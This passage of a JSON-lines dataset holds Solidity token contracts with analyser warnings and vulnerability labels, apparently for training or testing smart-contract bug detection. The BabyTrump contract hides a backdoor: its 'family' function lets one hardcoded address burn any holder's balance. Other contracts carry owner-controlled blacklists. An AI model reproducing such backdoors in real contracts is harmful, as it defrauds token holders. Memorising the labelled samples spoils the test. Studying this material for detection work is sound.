06d7c49\n\t\t// reentrancy-eth | ID: 481ff31\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 481ff31\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 481ff31\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b45252b): ERC.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for b45252b: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: b45252b\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10305.sol", "size_bytes": 22391, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MOG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5fef863): MOG._taxWallet should be immutable \n\t// Recommendation for 5fef863: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2cac7ad): MOG._initialBuyTax should be constant \n\t// Recommendation for 2cac7ad: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 367f95c): MOG._initialSellTax should be constant \n\t// Recommendation for 367f95c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3af7581): MOG._reduceBuyTaxAt should be constant \n\t// Recommendation for 3af7581: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 745054d): MOG._reduceSellTaxAt should be constant \n\t// Recommendation for 745054d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ce98fbb): MOG._preventSwapBefore should be constant \n\t// Recommendation for ce98fbb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Meme Of Game\";\n\n string private constant _symbol = unicode\"MOG\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d09eddd): MOG._taxSwapThreshold should be constant \n\t// Recommendation for d09eddd: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3450ab2): MOG._maxTaxSwap should be constant \n\t// Recommendation for 3450ab2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x27dfc8D8fDeD56Cef32C9A7cEd19c921E2e59BC1);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 735495f): MOG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 735495f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9b1ead7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9b1ead7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4c3e0bd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4c3e0bd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9b1ead7\n\t\t// reentrancy-benign | ID: 4c3e0bd\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9b1ead7\n\t\t// reentrancy-benign | ID: 4c3e0bd\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 55a4491): MOG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 55a4491: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4c3e0bd\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9b1ead7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8c39858): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8c39858: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 04ce6c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 04ce6c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8c39858\n\t\t\t\t// reentrancy-eth | ID: 04ce6c4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8c39858\n\t\t\t\t\t// reentrancy-eth | ID: 04ce6c4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 04ce6c4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 04ce6c4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 04ce6c4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8c39858\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 04ce6c4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 04ce6c4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8c39858\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9b1ead7\n\t\t// reentrancy-events | ID: 8c39858\n\t\t// reentrancy-benign | ID: 4c3e0bd\n\t\t// reentrancy-eth | ID: 04ce6c4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9b1ead7\n\t\t// reentrancy-events | ID: 8c39858\n\t\t// reentrancy-eth | ID: 04ce6c4\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0dc966f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0dc966f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c321382): MOG.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c321382: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bf5c5cf): MOG.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bf5c5cf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 55aa081): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 55aa081: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0dc966f\n\t\t// reentrancy-eth | ID: 55aa081\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0dc966f\n\t\t// unused-return | ID: bf5c5cf\n\t\t// reentrancy-eth | ID: 55aa081\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0dc966f\n\t\t// unused-return | ID: c321382\n\t\t// reentrancy-eth | ID: 55aa081\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0dc966f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 55aa081\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10306.sol", "size_bytes": 19839, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 233198235841242551134071450753470360614461789576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function family(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BabyTrump\", unicode\"BabyTrump\", 9, 50000000) {}\n}\n", "file_name": "solidity_code_10307.sol", "size_bytes": 7093, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract token is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 67cf4eb): token._taxWallet should be immutable \n\t// Recommendation for 67cf4eb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Tao Tao\";\n\n string private constant _symbol = unicode\"TaoTao\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 67bfe3b): token._initialBuyTax should be constant \n\t// Recommendation for 67bfe3b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 21b793e): token._initialSellTax should be constant \n\t// Recommendation for 21b793e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c1ccae): token._finalBuyTax should be constant \n\t// Recommendation for 9c1ccae: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6215d98): token._finalSellTax should be constant \n\t// Recommendation for 6215d98: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f7a18b): token._reduceBuyTaxAt should be constant \n\t// Recommendation for 8f7a18b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5925df8): token._reduceSellTaxAt should be constant \n\t// Recommendation for 5925df8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a0137e): token._preventSwapBefore should be constant \n\t// Recommendation for 3a0137e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a1729b9): token._taxSwapThreshold should be constant \n\t// Recommendation for a1729b9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b57358b): token._maxTaxSwap should be constant \n\t// Recommendation for b57358b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n 